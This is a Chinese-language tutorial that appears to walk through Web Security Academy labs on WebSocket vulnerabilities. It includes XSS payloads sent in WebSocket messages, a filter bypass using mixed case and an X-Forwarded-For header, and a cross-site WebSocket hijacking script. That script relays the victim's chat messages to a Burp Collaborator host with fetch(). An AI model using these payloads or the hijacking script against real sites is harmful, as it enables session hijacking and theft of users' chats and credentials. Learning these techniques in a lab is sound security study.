赞
踩
WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人
WebSocket连接是通过HTTP发起,通常是长期存在的。消息可以随时向任何一个方向发送,并且本质上不是事务性的。连接通常保持打开和空闲状态,直到客户端或服务器发送消息。
WebSocket在需要低延迟或服务器发起消息的情况下特别有用,例如金融数据的实时馈送。
使用HTTP时,客户端发送请求,服务器返回响应。通常响应立即发生,事务完成。即使网络连接保持打开,请求和响应也是单独的事务。这一点和websocket本质上不同。
var ws = new WebSocket("wss://normal-website.com/chat");
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
ws.send("Peter Wiener"); //客户端发送消息
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息
(1)拦截和修改WebSocket消息
(2)重播和生成新的WebSocket消息
(3)操纵WebSocket连接
任何WEB安全问题都会出现在WebSockets中
正常的信息交互如下:
{"message":"Hello Carlos"}
显示结果为 <td>Hello Carlos</td>
若无过滤,信息可修改为
{"message":"<img src=1 onerror='alert(1)'>"}
例题1
某些WebSockets漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,
例题2
WebSocket握手上存在跨站点请求伪造(CSRF)漏洞时,可以构造跨站点WebSocket劫持攻击。
不要忘了CSRF三要素哈
CSWSH的影响
攻击构造
例题3
本题及其简单,仅仅是熟悉Burp如何拦截使用WebSocket的操作而已。或者直接使用网站页面直接输入即可。
<img src=1 onerror=alert(1)>
按上题思路尝试,发现IP被封。关键字 ()JavaScript onerror 等被禁
(1)X-Forwarded-For更新IP后,可重新连接
(2)反单引号、大小写绕过等技术
{"message":"<img src=1 oNErRor=alert
1>"}
目标:获取目标用户聊天记录,获取登录账号口令等敏感信息,登录其账户。
(1)查看WebSocket相关信息
GET /chat HTTP/1.1
Host: ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A==
Connection: keep-alive, Upgrade
Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
(2)利用攻击机发送构造的恶意代码
里面用到了Burp的collaborator(OAST外带技术来接受目标用户的敏感信息)–后续文章将详细介绍burp各相功能,异常强大好用。
将代码使用攻击机发送给目标用户。实施CSRF攻击,让用户建立WebSocket连接。我们使用burp-burpcollaborator查看聊天内容。
<script>
var ws = new WebSocket('wss://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net/chat');
ws.onopen = function() { // wss://聊天机器人页面地址
ws.send("READY");
};
ws.onmessage = function(event) { // 此处url为burp-burpcollaborator的url
fetch('https://g7o3loj3is5fvrfiwjg9pfuuolubi0.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。